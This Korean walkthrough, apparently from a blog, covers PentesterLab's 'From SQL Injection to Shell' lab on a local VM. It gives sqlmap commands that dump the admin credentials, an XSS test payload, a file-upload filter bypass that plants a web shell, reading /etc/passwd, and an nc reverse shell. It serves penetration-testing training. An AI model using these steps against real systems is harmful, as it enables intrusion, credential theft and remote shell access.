실습용 웹사이트 구성을 위해 VirtualBox에 추가해주겠다
https://pentesterlab.com/
PentesterLab: Learn Web Penetration Testing: The Right Way
“PentesterLab is an awesome resource to get hands-on, especially for newbies in web penetration testing or pentesting in general. It gives insights to possible web security flaws, their behavior and approaches that can be taken to exploit them. More of,
pentesterlab.com
홈페이지로 가서 exercises 탭을 눌러준 뒤
From SQL Injection to Shell을 다운받아준다
다운받은 iso 파일을 virtualbox에 추가해준다
그 후 콘솔에 ip addr 쳐서 ip주소를 알아낸다 192.168. 으로 시작하는 것임
칼리리눅스로 돌아와서 버프스위트를 킨 다음 그 아이피주소로 접속하면 접속이 된다
웹해킹을 할 때에는 여기저기 둘러보면서 정보 수집하는 것
버프스위트의 Target 메뉴를 보면 방문했던 페이지들이 나옴
위 메뉴 누를 때마다 주소창의 id 파라미터값만 변하게 된다
admin 메뉴를 눌렀을 때 id, password 입력창이 나오고
이곳을 통해 관리자페이지로 접근해야한다
자 SQL Injection 공격이 먼저 먹히는지 실험해보자
나의 경우는 할당받은 아이피가 192.168.56.102 이다
192.168.56.102/cat.php?id=' 이렇게 입력해주면
바로 오류창이 뜬다 이러면 거의 sql공격에 취약하다고 볼 수 있다
sqlmap을 키고
sqlmap -u "192.168.56.102/cat.php?id=1"
이 사이트는 dvwa와 달리 로그인하지 않고도 test url에 접근할 수 있기 때문에 쿠키옵션 설정할 필요가 없다
자 실행해주면
이 사이트는 MySQL를 사용하는 것 같다고 하고
SQL Injection 공격과 XSS공격이 먹힐 것 같다고 한다
한번 주소창에
192.168.56.102/cat.php?id=<script>alert(1)</script> 라고 쳐보면 1 이라고 출력되는 것을 볼 수 있다
최종적으로 파라미터 id가 취약하다고 한다
sqlmap -u "192.168.56.102/cat.php?id=1" --current-db 로 db 이름을 알아내자
현재 db이름은 photoblog 라고 알려주고 있다
sqlmap -u "192.168.56.102/cat.php?id=1" -D photoblog --dump 를 해주자
이제 보면 users 테이블을 찾아냈고
id가 admin 이고 패스워드인 해시값과 크랙된 값 또한 나와있다
이제 이 값을 admin탭에 가서 로그인 해주면 로그인이 성공적으로 된다
이제 관리자 메뉴에서 New picture 탭을 가면 딱 봐도 파일업로드 공격하고싶게 생긴 페이지가 나온다
제목은 webshell에 예전에 썼던 webshell.php 파일을 가져오게 되면 no php 라고 뜬다
파일 확장자를 확인하는 것은 파일이름을 변경하는 것만으로도 확인할 수 있다
cp webshell.php webshell.pHP 이런식으로 변경해보겠다
이렇게 하니 업로드에 성공하였다
그리고 페이지소스를 보니
이미지소스로 불러왔던 php를 불러오고있다 여기서 경로가 나오는데 이 경로로 접속해보겠다
192.168.56.102/admin/uploads/webshell.pHP
접속하면 웹쉘에 접근할 수 있게 되었다
cat /etc/passwd 를 해주면 passwd 정보를 출력하게 된다
웹쉘에서 리버스쉘이라고 하는 기법을 사용할 것인데 터미널을 이용해서 명령을 내릴 수 있도록 해보겠다
nc는 netcat이라고 하는데 모의해킹에서 상당히 자주 쓰이는 프로그램
nc -lvnp 4000 을 치고 엔터해주자
l은 listening mod로 서버로 동작하게 해주는 옵션
v는 각종 로그들을 출력
n은 ip주소를 숫자로 사용할 때 쓰는 옵션
p는 포트의 넘버를 적어주는 것
자 웹쉘로 돌아가서 nc 192.168.56.101 4000 -e /bin/sh
이 때 아이피주소는 칼리리눅스 아이피주소이고 -e라는 옵션으로 쉘을 열어줄 수 있다
이렇게 하면 커넥션이 생성된다
id라는 명령어를 실행해보면 어떤 사용자 아이디로 웹애플리케이션이 실행되는지 알 수 있다
이때는 www data라는 일반사용자 권한으로 실행되고 있는데 시스템의 다른 취약점을 찾아서 권한상승을 통해 root 권한을 얻어낼 수 있다
uname -a 하면 시스템의 커널 버전을 알 수 있다
pwd로 현재위치를 파악 하고 ls -al로 어떤 파일들이 있는지 알 수 있다